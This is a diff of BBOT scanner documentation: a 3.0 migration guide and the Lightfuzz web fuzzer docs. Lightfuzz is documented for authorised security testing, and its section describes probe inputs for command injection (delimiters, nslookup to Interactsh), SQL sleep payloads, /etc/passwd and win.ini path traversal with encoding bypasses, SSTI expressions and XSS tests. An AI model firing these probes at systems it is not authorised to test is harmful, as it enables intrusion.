+`ASN:12345` (or `AS12345`) can now be used as a scan target -- the seed will be
+expanded to its registered CIDRs via the `asndb` library at scan start. If the
+lookup fails (network error, API unavailable), BBOT retries 3 times with a
+3-second delay. If all retries fail, the scan aborts with a message suggesting
+you pass CIDR ranges directly instead.
+
+ASN lookups use the BLS API at `api.bbot.io`. No API key is required --
+unauthenticated users can operate at a reasonable pace. If you want higher rate
+limits, set the `bbot_io_api_key` config value (or `BBOT_IO_API_KEY` env var).
+Currently the ASN API is the only `api.bbot.io` service BBOT uses, but any
+future BLS APIs will work with the same key.
+
+ASN *enrichment* (the ASN/subnet data attached to in-scope IPs via
+`host_metadata`) degrades gracefully rather than aborting: after several
+consecutive lookup failures, a circuit breaker disables ASN enrichment for the
+rest of the scan and the scan continues without it. This is separate from the
+ASN-as-target expansion above, which must abort because there would be nothing
+to scan.
+
+### SCAN event
+
+The `SCAN` event now includes a `network` key containing the scanner's hostname,
+primary outbound IP, network interfaces (IPv4/IPv6 with netmasks), and default
+routes. Useful for correlating scan activity back to a specific agent.
+
+### JSON output: before and after
+
+If you have downstream tooling that parses BBOT's NDJSON output, the schema
+has changed in several ways. Here is a representative event from each version:
+
+**2.x -- URL event (string data)**
+
+```json
+{
+  "type": "URL",
+  "id": "URL:ab12cd34...",
+  "data": "https://www.evilcorp.com/login",
+  "host": "www.evilcorp.com",
+  "port": 443,
+  "resolved_hosts": ["1.2.3.4"],
+  "dns_children": {},
+  "scope_distance": 0,
+  "scan": "SCAN:deadbeef...",
+  "timestamp": 1719792000.0,
+  "parent": "DNS_NAME:ef56ab78...",
+  "tags": ["in-scope", "status-200", "ip-1.2.3.4", "http-title-Login"],
+  "module": "httpx",
+  "module_sequence": "httpx"
+}
+```
+
+**3.0 -- same URL event (dict data)**
+
+```json
+{
+  "type": "URL",
+  "id": "URL:ab12cd34...",
+  "uuid": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
+  "data_json": {
+    "url": "https://www.evilcorp.com/login",
+    "status_code": 200,
+    "http_title": "Login"
+  },
+  "host": "www.evilcorp.com",
+  "port": 443,
+  "resolved_hosts": ["1.2.3.4"],
+  "dns_children": {},
+  "scope_distance": 0,
+  "scan": "SCAN:deadbeef...",
+  "timestamp": 1719792000.0,
+  "parent": "DNS_NAME:ef56ab78...",
+  "parent_uuid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
+  "tags": ["in-scope", "status-200"],
+  "module": "http",
+  "module_sequence": "http",
+  "discovery_context": "http probed www.evilcorp.com and found URL: https://www.evilcorp.com/login",
+  "discovery_path": ["SCAN:deadbeef", "DNS_NAME:www.evilcorp.com", "URL:https://www.evilcorp.com/login"],
+  "parent_chain": ["SCAN:deadbeef", "DNS_NAME:www.evilcorp.com"],
+  "host_metadata": {"cloud_provider": "amazon", "asn": 16509}
+}
+```
+
+Key differences for parsers:
+
+| What changed | 2.x | 3.0 |
+|---|---|---|
+| URL event data | `"data": "https://..."` (string) | `"data_json": {"url": "https://...", ...}` (dict) |
+| Non-URL event data | `"data": "..."` (string) | `"data": "..."` (still a string) |
+| Module name for HTTP probing | `"module": "httpx"` | `"module": "http"` |
+| Per-host cloud/IP tags | `"ip-1.2.3.4"`, `"http-title-Login"`, `"cloud-amazon"` in tags | Moved to `host_metadata` dict and `data_json` fields; tags simplified |
+| Event ID | `"id"` only | `"id"` + new `"uuid"` (globally unique) |
+| Parent reference | `"parent"` only | `"parent"` + new `"parent_uuid"` |
+| Discovery chain | not present | `"discovery_context"`, `"discovery_path"`, `"parent_chain"` |
+
+!!! warning "The `data` vs `data_json` split"
+    When an event's `.data` is a **string** (DNS_NAME, IP_ADDRESS, EMAIL_ADDRESS,
+    OPEN_TCP_PORT, etc.), the JSON key is `"data"`. When `.data` is a **dict**
+    (URL, URL_UNVERIFIED, HTTP_RESPONSE, FINDING, STORAGE_BUCKET, etc.), the
+    JSON key is `"data_json"`. In 2.x, URL events used `"data"` with a string
+    value. In 3.0, they use `"data_json"` with a dict. Parsers that key on
+    `"data"` for URL events will silently get nothing back.
+
+**2.x -- VULNERABILITY event**
+
+```json
+{
+  "type": "VULNERABILITY",
+  "data": {
+    "host": "www.evilcorp.com",
+    "severity": "HIGH",
+    "description": "SQL injection in login form",
+    "url": "https://www.evilcorp.com/login"
+  },
+  "tags": ["in-scope", "high"]
+}
+```
+
+**3.0 -- equivalent FINDING event**
+
+```json
+{
+  "type": "FINDING",
+  "data_json": {
+    "host": "www.evilcorp.com",
+    "severity": "HIGH",
+    "confidence": "HIGH",
+    "name": "SQL Injection",
+    "description": "SQL injection in login form",
+    "url": "https://www.evilcorp.com/login"
+  },
+  "tags": ["in-scope", "severity-high", "confidence-high"]
+}
+```
+
+Changes:
+
+- `VULNERABILITY` type is gone; use `FINDING` instead.
+- `confidence` is now **required** on every FINDING (one of `UNKNOWN`, `LOW`,
+  `MEDIUM`, `HIGH`, `CONFIRMED`).
+- `name` is now **required** (short label for the finding).
+- Severity strings changed: `INFORMATIONAL` is now `INFO`, `MODERATE` is now
+  `MEDIUM`.
+- Tags changed from bare lowercase (`high`) to prefixed
+  (`severity-high`, `confidence-high`).
+
+---
+
+## Config
+
+`bbot/defaults.yml` saw a number of breaking renames and additions:
+
+### Renamed
+
+| 2.x                       | 3.0                       |
+|---------------------------|---------------------------|
+| `web.httpx_timeout`       | `web.http_timeout` (target-directed traffic, default `10`) |
+| *(no equivalent)*         | `web.http_timeout_infrastructure` (API calls, wordlist downloads, etc., default `10`) |
+| `web.httpx_retries`       | `web.http_retries` |
+| `dns.threads` (global)    | `dns.threads` (now per-resolver; default lowered from 25 -> 10) |
+| `web.ssl_verify`          | `web.ssl_verify_target` (target-directed traffic, default `false`) |
+| *(no equivalent)*         | `web.ssl_verify_infrastructure` (API calls, wordlist downloads, etc., default `true`) |
+
+### Removed
+
+- `deps.ffuf.version` (ffuf is gone).
+- The top-level `modules.json.siem_friendly` flag (and the `siem_friendly`
+  output module).
+
+### Added
+
+- `max_mem_percent` -- global ingress throttle when RSS exceeds the threshold.
+- `redact_secrets` (default `true`) -- redacts secret values (API keys, tokens)
+  when a resolved preset is serialized to YAML (e.g. the generated `bbot.yml`).
+  Set to `false` to include them.
+- `web.user_agent_suffix` -- appended to the user agent (previously buried as a
+  hidden CLI flag).
+- `web.http_rate_limit` -- global rps cap across the shared blasthttp client.
+- `web.http_proxy_exclude` -- hosts/CIDRs to exclude from the HTTP proxy
+  (`NO_PROXY` equivalent).
+- `web.body_spill.{enabled,cache_mb,compress}` -- disk-spill HTTP response
+  bodies to keep them off the Python heap.
+- `dns.cache_size` -- DNS LRU size.
+- `bbot_io_api_key` -- optional API key for `api.bbot.io` services. Currently
+  only used by ASN lookups; no key is required for basic use. Future BLS APIs
+  will share this key.
+- `dns.abort_threshold` default lowered from `50` -> `10`.
+- `dns.filter_ptrs` semantics: PTR-derived hostnames are now treated as
+  affiliates by default rather than being injected as in-scope DNS_NAME events
+  during IP-range scans.
+
+### Stale config files and `--reset-config` / `--reset-secrets`
+
+BBOT generates two config files the first time it runs and then never
+overwrites them:
+
+- `~/.config/bbot/bbot.yml` -- a fully-commented snapshot of all default options
+- `~/.config/bbot/secrets.yml` -- the secret-bearing subset (API keys, etc.),
+  written owner-only (`0600`)
+
+Because they're written once and left alone, they drift out of sync with the
+defaults as you upgrade. A `bbot.yml` generated under 2.x can still mention
+`web.httpx_timeout`, `web.ssl_verify`, `modules.json.siem_friendly`, and other
+keys that were renamed or removed in 3.0.
+
+In 2.x this was harmless: unknown keys were silently ignored. In 3.0, config is
+**validated on load**, so a leftover key in your generated file now produces a
+validation error before the scan starts. When the offending key lives in one of
+these generated files (rather than being a `-c` typo on the command line), BBOT
+tells you which file it came from and points you at the matching reset flag.
+
+Two new CLI flags regenerate the files from current defaults:
+
+```bash
+bbot --reset-config    # regenerate bbot.yml
+bbot --reset-secrets   # regenerate secrets.yml
+```
+
+- **Destructive.** A regenerated file is a fresh, fully-commented template, so
+  any options you had *uncommented* are wiped. The existing file is backed up
+  first to `<name>.bak` (then `.bak.1`, `.bak.2`, ... so earlier backups aren't
+  clobbered).
+- **Confirmation required.** You're prompted before anything is overwritten;
+  pass `-y` / `--yes` to skip the prompt. Non-interactive runs without `--yes`
+  refuse and exit rather than overwrite silently.
+- **Independent.** The two files are reset separately: `--reset-config` never
+  touches the API keys in `secrets.yml`, and `--reset-secrets` never touches the
+  tuned options in `bbot.yml`. The regenerated `secrets.yml` is written
+  atomically and stays owner-only.
+
+The usual fix after an in-place upgrade is to copy any customizations out of the
+old file, run the matching reset flag, then re-apply your changes to the fresh
+template (or move them into a preset).
+
+---
+
+## DNS and HTTP internals
+
+Both the DNS and HTTP engines were rewritten and the old subprocess
+architecture was deleted.
+
+- **DNS**: `bbot/core/helpers/dns/engine.py` and `dns/mock.py` were removed.
+  The `DNSHelper` no longer inherits from `EngineClient`; resolution now goes
+  through the native [blastdns](https://github.com/blacklanternsecurity/blastdns)
+  Rust client. The `self.helpers.dns.resolver` `dnspython` resolver is gone.
+- **HTTP**: `bbot/core/helpers/web/client.py` and `web/engine.py` were
+  removed. `WebHelper` no longer inherits from `EngineClient`. All HTTP goes
+  through the shared `self.helpers.blasthttp` client. The httpx-based
+  `request_batch` / `request_custom_batch` / `curl` methods were replaced by
+  `request()`, `request_batch_stream(urls, threads=10, **kwargs)`, and
+  `download()`.
+- **Engine framework removed**: the `bbot.core.engine` module (`EngineBase` /
+  `EngineClient` / `EngineServer`) and the `BBOTEngineError` exception were
+  deleted along with the subprocess architecture. `WebError` and `DNSError` now
+  subclass `BBOTError` directly, and `CurlError` was removed. External code
+  importing `bbot.core.engine`, `BBOTEngineError`, or `CurlError` must be
+  updated.
+- The blasthttp dependency line is `blasthttp>=0.9.0`.
+
+Modules that previously instantiated their own `httpx.AsyncClient` or built
+custom curl invocations must switch to `self.helpers.request(...)` /
+`self.helpers.blasthttp`.
+
+---
+
+## Output and DB models
+
+- The pydantic / SQLModel models moved from `bbot.db.sql.models` to
+  `bbot.models.sql` (plus a new `bbot.models.pydantic` / `bbot.models.helpers`
+  split). External importers must update.
+- `output.http` was renamed to `output.webhook`.
+- `output.json` lost the `siem_friendly` option.
+- New output modules: `elastic`, `kafka`, `mongo`, `nats`, `rabbitmq`,
+  `zeromq`.
+- Neo4j output now also serializes `host_metadata`.
+
+### Output modules are now purely additive
+
+In 2.x, specifying `-om` could silently replace the default output modules
+depending on whether any of the names overlapped with the defaults. This was
+confusing and inconsistent.
+
+In 3.0, `-om` is always **additive**: it adds modules on top of the defaults
+(`csv`, `txt`, `json`, plus `stdout` from the CLI). To remove a default, use
+the new `-eom` / `--exclude-output-modules` flag:
+
+```bash
+# defaults (csv, txt, json, stdout) are all enabled
+bbot -t evilcorp.com -p subdomain-enum
+
+# neo4j is added alongside all defaults
+bbot -t evilcorp.com -p subdomain-enum -om neo4j
+
+# json only -- explicitly exclude the other defaults
+bbot -t evilcorp.com -p subdomain-enum -eom csv txt stdout
+```
+
+The same applies in preset YAML (`exclude_output_modules:`) and the Python API
+(`Preset(exclude_output_modules=[...])`).
+
+The `python` output module was also moved from `output/` to `internal/` -- it
+was never a real output module, it is the Python API event bridge.
+
+### Omitted event types
+
+Certain event types are excluded from output by default via the
+`omit_event_types` config. These events are still processed by modules
+internally, but they do not appear in JSON, CSV, or stdout output unless
+you remove them from the list:
+
+```yaml
+omit_event_types:
+  - HTTP_RESPONSE
+  - RAW_TEXT
+  - URL_UNVERIFIED
+  - DNS_NAME_UNRESOLVED
+  - FILESYSTEM
+  - WEB_PARAMETER
+  - RAW_DNS_RECORD
+```
+
+If your downstream tooling relied on seeing `HTTP_RESPONSE` or
+`URL_UNVERIFIED` events in the output, you will need to remove them from
+`omit_event_types` in your preset or config.
+
+---
+
+## Dependencies and tooling
+
+- **Build system**: migrated from Poetry to [uv](https://docs.astral.sh/uv/)
+  + hatchling. `pyproject.toml` is now PEP-621. `poetry.lock` is replaced by
+  `uv.lock`. Dev install: `uv sync --group dev`. The
+  `poetry-dynamic-versioning` integration is gone; version is now plain
+  `3.0.0`.
+- **License**: changed from `GPL-3.0` to `AGPL-3.0`.
+- **Python**: minimum bumped from `3.9` to `3.10`. Upper bound is now
+  `<3.15`.
+- **Lockstep deps**:
+  - `radixtarget >=4.0.1,<5` (composition pattern, no longer subclassed)
+  - `cloudcheck >=11.1.0,<12`
+  - `blasthttp >=0.9.0` (new)
+  - `blastdns >=1.9.0,<2` (new)
+  - `asndb >=1.1.0` (new)
+  - `zstandard` (new; used by HTTP body spill)
+  - `httpx` **removed** as a runtime dep.
+
+Custom modules that imported `httpx`, `dns.asyncresolver`, `radixtarget`
+subclasses, or `bbot.db.sql.models` will need to be ported.
+
+---
+
+## Quick migration checklist
+
+- [ ] Replace `--whitelist` / `whitelist=` with positional target args; only
+      reach for `--seeds` / `seeds=` when you genuinely want a seed that isn't
+      in scope.
+- [ ] Replace `-s` with `-S` for silent runs.
+- [ ] Drop `--allow-deadly`.
+- [ ] Rename module references: `httpx -> http`, `ffuf -> webbrute`,
+      `bucket_azure -> bucket_microsoft`, `extractous -> kreuzberg`,
+      `output.http -> output.webhook`, `vhost -> virtualhost`,
+      `censys -> censys_dns / censys_ip`. Drop any `wpscan` references (removed,
+      no replacement).
+- [ ] Rename preset references: `web-basic -> web`, `web-thorough -> web-heavy`,
+      `*-intense -> *-heavy`.
+- [ ] Rename module flags: `noisy -> loud`, `web-basic -> web`,
+      `web-thorough -> web-heavy`. Drop `aggressive` / `deadly`. Add `safe` /
+      `loud` / `invasive` to satisfy the new validation rule.
+- [ ] Replace any `VULNERABILITY` emit with a `FINDING` carrying
+      `severity=...`.
+- [ ] Update FINDING severity strings: `INFORMATIONAL -> INFO`,
+      `MODERATE -> MEDIUM`. Add a `confidence` field from the new allowlist.
+- [ ] Stop reading `event.data` for URL events; use `event.url` /
+      `event.pretty_string`. Drop dependencies on `event.confidence` /
+      `cumulative_confidence`.
+- [ ] Stop mutating `event._resolved_hosts` / `event.dns_children` directly;
+      use the new `add_resolved_host` / `add_dns_child` helpers.
+- [ ] Update config keys: `web.httpx_timeout -> web.http_timeout` /
+      `web.http_timeout_infrastructure`,
+      `web.httpx_retries -> web.http_retries`,
+      `web.ssl_verify -> web.ssl_verify_target` / `web.ssl_verify_infrastructure`.
+- [ ] If an in-place upgrade fails with a config validation error pointing at
+      `~/.config/bbot/bbot.yml` or `secrets.yml`, back up your customizations
+      and run `bbot --reset-config` / `bbot --reset-secrets` to regenerate from
+      current defaults.
+- [ ] Update imports: `bbot.db.sql.models -> bbot.models.sql`.
+- [ ] If you ship a custom module that watches URLs but doesn't want
+      blasthttp auto-enabled, set `_disable_auto_module_deps = True`.
+- [ ] Switch your install/build pipeline from Poetry to uv.
+- [ ] If you relied on `-om` to replace default output modules, switch to
+      `-eom` to exclude the ones you don't want (output modules are now
+      purely additive).
+- [ ] Update any JSON parsers that read `event["data"]` for URL events --
+      the key is now `"data_json"` and the value is a dict, not a string.
+      Use `event["data_json"]["url"]` to get the URL string.
+- [ ] If your tooling consumed `HTTP_RESPONSE` or `URL_UNVERIFIED` from
+      output, remove them from `omit_event_types` in your config.
diff --git a/docs/modules/custom_yara_rules.md b/docs/modules/custom_yara_rules.md
index 5e40856173..72a9008194 100644
--- a/docs/modules/custom_yara_rules.md
+++ b/docs/modules/custom_yara_rules.md
@@ -8,7 +8,7 @@ This feature can be utilized with the command line option `--custom-yara-rules`
 Example:
 
 ```
-bbot -m httpx --custom-yara-rules=test.yara -t http://example.com/
+bbot -m http --custom-yara-rules=test.yara -t http://example.com/
 ```
 
 Where `test.yara` is a file on the filesystem. The file can contain multiple YARA rules, separated by lines.
@@ -135,10 +135,27 @@ rule ContainsTitle
 }
 ```
 
+#### Severity and Confidence
+```
+rule ContainsTitle
+{
+    meta:
+        description = "Contains an HTML title tag"
+        severity = "HIGH"
+        confidence = "CONFIRMED"
+        $title_value = /<title>(.*)?<\/title>/i
+    condition:
+        $title_value
+}
+```
+Confidence and Severity levels will be assigned to the FINDING event produced if there is a match.
+
+
+
 When run against the Black Lantern Security homepage with the following BBOT command:
 
 ```
-bbot -m httpx --custom-yara-rules=substack.yara -t http://www.blacklanternsecurity.com/
+bbot -m http --custom-yara-rules=substack.yara -t http://www.blacklanternsecurity.com/
 
 ```
 
diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md
index ecaf733a4c..6aa7c1bff7 100644
--- a/docs/modules/lightfuzz.md
+++ b/docs/modules/lightfuzz.md
@@ -6,114 +6,314 @@
 
 ### What is Lightfuzz?
 
-Lightfuzz is a lightweight web vulnerability scanner built into BBOT. It is designed to find "low-hanging fruit" type vulnerabilities without much overhead and at massive scale. 
+Lightfuzz is BBOT's **DAST (Dynamic Application Security Testing) module** — a lightweight web fuzzer built directly into BBOT's recursive scan pipeline. It is designed to find "low-hanging fruit" type vulnerabilities without much overhead and at massive scale. Whenever BBOT's recon stage discovers a fuzzable parameter (`WEB_PARAMETER` event), lightfuzz takes over and runs its DAST checks against that parameter.
 
 ### What is Lightfuzz NOT?
 
 Lightfuzz is not, does not attempt to be, and will never be, a replacement for a full-blown web application scanner. You should not, for example, be running Lightfuzz as a replacement for Burp Suite scanning. Burp Suite scanner will always find more (even though we can find a few things it can't).
 
-It will also not help you *exploit* vulnerabilities. It's job is to point out vulnerabilities, or likely vulnerabilities, or potential vulnerabilities, and then pass them off to you. A great deal of the overhead with traditional scanners comes in the confirmation phase, or in testing exploitation payloads. 
+It will also not help you *exploit* what it finds. Its job is to point out likely issues and then pass them off to you. A great deal of the overhead with traditional scanners comes in the confirmation phase, or in testing exploitation payloads.
 
-So for example, Lightfuzz may detect an XSS vulnerability for you. But its NOT going to help you figure out which tag you need to use to get around a security filter, or give you any kind of a final payload. It's simply going to tell you that the contents of a given GET parameter are being reflected and that it was able to render an unmodified HTML tag. The rest is up to you.
+So for example, Lightfuzz may detect an XSS vulnerability for you. But it's NOT going to help you figure out which tag you need to use to get around a security filter, or give you any kind of a final payload. It's simply going to tell you that the contents of a given GET parameter are being reflected and that it was able to render an unmodified HTML tag. The rest is up to you.
 
 ### False Positives
 
-Significant work has gone into minimizing false positives. However, due to the nature of how Lightfuzz works, they are a reality. Random hiccups in network connectivity can cause them in some cases, odd WAF behavior can account for others. 
+Significant work has gone into minimizing false positives. However, due to the nature of how Lightfuzz works, they are a reality. Random hiccups in network connectivity can cause them in some cases, odd WAF behavior can account for others.
 
-If you see a false positive that you feel is occuring too often or could easily be prevented, please open a GitHub issue and we will take a look!
+If you see a false positive that you feel is occurring too often or could easily be prevented, please open a GitHub issue and we will take a look!
 
-### Deadly module
+## Findings, Severity, and Confidence
 
-Lightfuzz currently has the `deadly` flag. This is applied to the most aggressive modules to enforce an additional check, requiring explicit acknowledgement of the risk using the `--allow-deadly` command line flag.
+All lightfuzz output is emitted as `FINDING` events. Each finding has two key attributes: **severity** and **confidence**.
 
-## Modules
+### Severity
 
-Lightfuzz is divided into numerous "submodules". These would typically be ran all together, but they can be configured to be run individually or in any desired configuration. This would be done with the aide of a `preset`, more on those in a moment.
+Severity represents how bad the issue is *if it's real*. Levels, from worst to least:
+
+| Severity | Meaning |
+|---|---|
+| **CRITICAL** | Full system compromise likely (e.g., command injection, SSTI) |
+| **HIGH** | Significant security impact (e.g., SQL injection, SSRF, path traversal, unsafe deserialization) |
+| **MEDIUM** | Moderate impact, often client-side (e.g., XSS, ESI) |
+| **LOW** | Minor or limited-scope issue |
+| **INFO** | Interesting observation, not directly exploitable (e.g., cryptographic parameter detected) |
+
+### Confidence
+
+Confidence represents how sure lightfuzz is that the finding is real, independent of severity. This is critical for triaging results — a HIGH-severity finding with LOW confidence needs manual verification, while a CRITICAL-severity finding with CONFIRMED confidence is almost certainly real.
+
+| Confidence | Indicator | Meaning | Example |
+|---|---|---|---|
+| **CONFIRMED** | 🟣 | Out-of-band proof of exploitation | Blind command injection or SSRF via HTTP interaction (Interactsh) |
+| **HIGH** | 🔴 | Deterministic detection that's hard to fake | SSTI math evaluation (`1337*1337=1787569`), padding oracle |
+| **MEDIUM** | 🟠 | Context-aware detection, but not definitive | SQL error strings after quote injection, XSS tag survival in reflection |
+| **LOW** | 🟡 | Heuristic detection, requires manual verification | Blind SQLi timing (even with 3x confirmation), path traversal divergence, deserialization error changes |
+
+When reviewing lightfuzz output, consider both dimensions together. A `CRITICAL` severity / `CONFIRMED` confidence finding (like OOB command injection) is something to act on immediately. A `HIGH` severity / `LOW` confidence finding (like blind SQLi timing) is worth investigating but may be a false positive.
+
+## Submodules
+
+Lightfuzz is divided into numerous "submodules". These would typically be run all together, but they can be configured to be run individually or in any desired configuration. This would be done with the aid of a `preset`, more on those in a moment.
 
 ### `cmdi` (Command Injection)
-    - Finds output-based on blind out-of-band (via `Interactsh`) command injections
+   - Finds output-based and blind out-of-band (via `Interactsh`) command injections
 ### `crypto` (Cryptography)
-    - Identifies cryptographic parameters that have a tangable effect on the application
-    - Can identify padding oracle vulnerabilities
-    - Can identify hash length extention vulnerabilities
+   - Identifies cryptographic parameters that have a tangible effect on the application
+   - Can identify padding oracle vulnerabilities
+   - Can identify hash length extension vulnerabilities
 ### `path` (Path Traversal)
-    - Can find arbitrary file read / local-file include vulnerabilities, based on relative path traversal or with absolute paths
+   - Can find arbitrary file read / local-file include vulnerabilities, based on relative path traversal or with absolute paths
 ### `serial` (Deserialization)
-    - Can identify the active deserialization of a variety of deserialization types across several platforms
+   - Can identify the active deserialization of a variety of deserialization types across several platforms
 ### `sqli` (SQL Injection)
-    - Error Based SQLi Detection
-    - Blind time-delay SQLi Detection
+   - Error Based SQLi Detection
+   - Blind time-delay SQLi Detection
 ### `ssti` (Server-side Template Injection)
-    - Can find basic server-side template injection
+   - Can find basic server-side template injection
 ### `xss` (Cross-site Scripting)
-    - Can find a variety of XSS types, across several different contexts (between-tags, attribute, Javascript-based)
-## Presets 
+   - Can find a variety of XSS types, across several different contexts (between-tags, attribute, Javascript-based)
+### `esi` (Edge Side Includes)
+   - Detects Edge Side Include processing
+### `ssrf` (Server-Side Request Forgery)
+   - Detects SSRF vulnerabilities via out-of-band DNS/HTTP interactions using Interactsh
 
-Lightfuzz comes with a few pre-defined presets. The first thing to know is that, unless you really know BBOT inside and out, we recommend using one of them. This is because to be successful, Lightfuzz needs to change a lot of very important BBOT settings. These include:
+## Submodule Details
 
-* Setting `url_querystring_remove` to False. By default, BBOT strips away querystings, so in order to FUZZ GET parameters, that default has to be disabled.
-```
-url_querystring_remove: False
-```
-* Enabling several other complimentary modules. Specifically, `hunt` and `reflected_parameters` can be useful companion modules that also be useful when `WEB_PARAMETER` events are being emitted.
+### `cmdi` — Command Injection
+
+Detects OS command injection via two techniques:
+
+**Echo Canary Detection** (CRITICAL severity, MEDIUM confidence): Injects command delimiters (`;`, `&&`, `||`, `&`, `|`) combined with an `echo` command containing a random numeric canary. If the canary appears in the response *without* the word "echo" (ruling out simple reflection), injection is indicated. A false-positive probe (`AAAA`) is sent first — if the canary appears with that delimiter, the test aborts since the application is just reflecting input.
+
+**Blind OOB via Interactsh** (CRITICAL severity, CONFIRMED confidence): Injects `nslookup` commands pointed at unique Interactsh subdomains. If a DNS interaction is received, command execution is confirmed out-of-band. This is the highest-confidence detection lightfuzz can produce. Requires Interactsh to be enabled (it is by default).
+
+### `sqli` — SQL Injection
+
+Detects SQL injection via two techniques:
+
+**Error-based Detection** (HIGH severity, MEDIUM confidence): Injects a single quote (`'`) and compares the response against a list of known SQL error strings (e.g., "error in your SQL syntax", "Unterminated string literal"). Also performs a differential test: if a single quote changes the status code but two single quotes (`''`) produce a *different* status code, it suggests the quotes are being parsed as SQL syntax rather than just rejected.
+
+**Blind Time-delay Detection** (HIGH severity, LOW confidence): Sends database-specific sleep payloads (PostgreSQL `pg_sleep`, MySQL `SLEEP`, Oracle `DBMS_LOCK.SLEEP`, MSSQL `WAITFOR DELAY`) with a 5-second delay. Measures response time against a baseline average of two normal requests. Requires 3 consecutive confirmations within an acceptable margin (1.5s) to report — even a single miss aborts the test for that payload. Despite the triple confirmation, timing-based detection is inherently loud, hence the LOW confidence.
+
+### `xss` — Cross-Site Scripting
+
+Detects reflected XSS across multiple injection contexts. All XSS findings are MEDIUM severity, MEDIUM confidence.
+
+**Step 1 — Reflection Check**: Sends a random 8-character alphanumeric string. If it doesn't appear in the response, the parameter doesn't reflect and XSS testing is skipped entirely. Parameters from `paramminer_getparams` without an `http-reflection` tag are also skipped.
+
+**Step 2 — Context Detection**: Determines where in the HTML the reflection occurs:
+
+- **Between tags**: `<tag>REFLECTION</tag>`
+- **In tag attribute**: `<tag attr="REFLECTION">`
+- **In JavaScript**: `<script>var x = 'REFLECTION'</script>`
+
+**Step 3 — Context-Specific Payloads**:
+
+- *Between tags*: Tests whether HTML tags survive unmodified by injecting `<z>`, `<svg>`, and `<img>` tags. The `z` tag is arbitrary and less likely to be blocked by filters.
+- *Tag attribute*: Tests quote escaping (`"z`), auto-quoting behavior, and `javascript:` scheme injection in form actions.
+- *JavaScript*: First tries `</script><script>...</script>` tag breaking. If that fails, determines the quote context (single or double) and tests escape-the-escape-character techniques (`\'` → `\\'`).
+
+Lightfuzz can often detect through WAFs since it does not attempt to construct full exploitation payloads.
+
+### `path` — Path Traversal
+
+Detects arbitrary file read / local file inclusion via two techniques:
+
+**Relative Path Traversal** (HIGH severity, LOW confidence): The core technique is a single-dot vs. double-dot differential. If `./a/../VALUE` returns the same response as the original value (single dot is a no-op) but `../a/../VALUE` returns a *different* response (double dot changes the resolved path), it indicates real path manipulation. This is tested across 8 encoding variants:
+
+- No encoding (with and without leading slash)
+- URL encoding (with and without leading slash)
+- Non-recursive stripping bypass (`....//`)
+- Double URL encoding
+- Start-of-path validation bypass (preserves original directory prefix)
+
+Each variant requires **4 confirmations** across 5 iterations (one failure tolerated after the first success). WAF responses containing "The requested URL was rejected" are filtered out. Despite the multiple confirmations, this remains LOW confidence because response divergence can have non-traversal explanations.
+
+**Absolute Path Detection** (HIGH severity, MEDIUM confidence): Directly requests known file paths (`/etc/passwd`, `c:\windows\win.ini`) and checks for expected content strings (`daemon:x:`, `; for 16-bit app support`). Also tests null byte extension bypass (`%00.png`). Higher confidence because matching specific file content is much harder to explain away.
+
+### `ssti` — Server-Side Template Injection
+
+Detects template injection via arithmetic evaluation. All SSTI findings are HIGH severity, HIGH confidence.
+
+Sends the expression `1337*1337` across multiple template syntaxes:
+
+- `<%= 1337*1337 %>` (ERB/ASP, plus URL-encoded variant)
+- `${1337*1337}` (EL/Freemarker, plus URL-encoded variant)
+- `1,787{{z}},569` (Jinja2/Twig — if `{{z}}` is stripped, it becomes `1,787,569`)
+
+If the response contains `1787569` (or `1,787,569`), the expression was evaluated server-side. This is a HIGH confidence detection because it's very unlikely for the exact product of two arbitrary numbers to appear in a response by coincidence.
+
+### `crypto` — Cryptography Probe
+
+Identifies cryptographic parameters and probes for cryptographic vulnerabilities. This submodule has several stages with varying confidence levels.
+
+**Stage 0 — Keystream Reuse / Many-Time-Pad** (HIGH/CONFIRMED to MEDIUM/PROBABLE; zero HTTP requests): A cross-value passive check that runs *before* the entropy gate. When a stream cipher reuses a single keystream across multiple encryptions (no IV, fixed key — a common homebrew mistake), XOR-ing any two ciphertexts yields the XOR of their plaintexts. For natural-language or identifier plaintexts that share a prefix, the result begins with a run of zero bytes — mathematically impossible under correct encryption.
+
+The detector gathers candidate ciphertexts from the parameter's own value plus every value in `additional_params` (sibling form fields) and `same_param_values` (other observed values for the same parameter across a single page, e.g. sort links with distinct hex-encoded keys). It decodes each via the existing `format_agnostic_decode()` helper, pairwise-XORs them, and scores the result:
 
+- **HIGH / CONFIRMED** — a leading run of ≥ 5 zero bytes (two plaintexts share their first 5+ bytes; impossible under correct encryption with fresh IVs)
+- **HIGH / PROBABLE** — a 3-4 byte zero run, or ≥ 95% of XOR bytes fall in the `[0x00, 0x60]` "printable-ASCII XOR printable-ASCII" range
+- **MEDIUM / PROBABLE** — ≥ 90% ASCII-XOR-ASCII bytes but no zero-run
 
-If you don't want to dive into those details, and we don't blame you, here are the built-in preset options and what you need to know about the differences.
+This stage bypasses the entropy gate (Stage 1) because the short ASCII plaintexts most vulnerable to this misuse often produce ciphertext below the 4.5-bit threshold the gate would otherwise filter out.
 
-# -p lightfuzz-light
+**Stage 1 — Cryptanalysis Gate**: Checks if the parameter value is likely encrypted by calculating Shannon entropy (threshold: 4.5) and whether its decoded length is a multiple of 8 (suggesting a block cipher). If entropy is below threshold, all per-value tests are skipped (Stage 0's cross-value check has already run).
 
-This is a minimal preset that checks for only the most common vulnerabilities. It enables a select few of lightfuzz's submodules, and is safest for larger scans.
+**Stage 2 — Response Divergence** (INFO severity, LOW confidence): Performs byte-level manipulations (truncation and single-byte mutation) and compares responses against both the baseline and an arbitrary garbage value. If the manipulated ciphertext produces a *different* response from both the original *and* garbage input, the parameter likely drives a real cryptographic operation.
 
-# -p lightfuzz-medium
+**Stage 3 — Error String Detection** (INFO severity, LOW confidence): Scans manipulation responses for cryptographic error messages using YARA rules (e.g., "padding is invalid", "invalid mac", "OpenSSL Error"). Errors present in the baseline are filtered out to avoid false positives.
 
-This is the default setting. It enables all lightfuzz submodules, and includes all the necessary config options to make Lightfuzz work, without too many extras. However it is important to note that it **DISABLES FUZZING POST REQUESTS**. This is because this type of request is the most intrusive, and the most likely to cause problems, especially in an internal network. 
